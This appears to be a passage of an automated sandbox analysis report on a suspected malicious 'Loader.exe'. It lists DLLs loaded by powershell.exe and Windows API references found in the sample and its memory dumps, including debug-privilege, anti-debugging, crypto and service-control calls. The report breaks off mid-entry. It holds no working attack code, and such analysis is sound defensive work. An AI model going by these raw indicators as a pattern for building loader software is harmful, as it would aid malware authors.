OLEAUT32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation. (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\Microsoft.Management.Infrastr (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\2d1ff2ab3131de6a507f22ccc53b273a\System.DirectoryServices.ni.d (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\49750ea038273f75321e479ef1525d1e\Microsoft.PowerShell.Security (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\dd0ed795d7234a2ae4314de052867161\System.Transactions.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MPCLIENT.DLL (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23090.2008-0\MsMpLics.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\468fa5ae84991aaf4d90ecee8788f024\Microsoft.PowerShell.Commands (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\b4c34523c582146dea3ca389e3487145\System.Configuration.Install. (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll (UID: 00000000-00004152) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll (UID: 00000000-00004152)34:T7ad0,Found reference to API (Indicator: "GetStdHandle"; File: "Loader.exe") Found reference to API (Indicator: "GetFileType"; File: "Loader.exe") Found reference to API (Indicator: "ExtractAssociatedIcon"; File: "Loader.exe") Found reference to API (Indicator: "MessageBox"; File: "Loader.exe") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004152.00000000.175960.B6503000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp, 00000000-00006460.00000000.174701.1BCA0000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00006460.00000001.176621.00AA2000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00006460.00000001.176621.00AA2000.00000002.mdmp") Found reference to API (Indicator: "ExtractAssociatedIcon"; Source: "00000000-00006460.00000001.176621.00AA2000.00000002.mdmp") Found reference to API (Indicator: "MessageBox"; Source: "00000000-00006460.00000001.176621.00AA2000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 00000000-00008316.00000002.179261.EFB9A000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00008316.00000000.175421.1BB93000.00000002.mdmp, 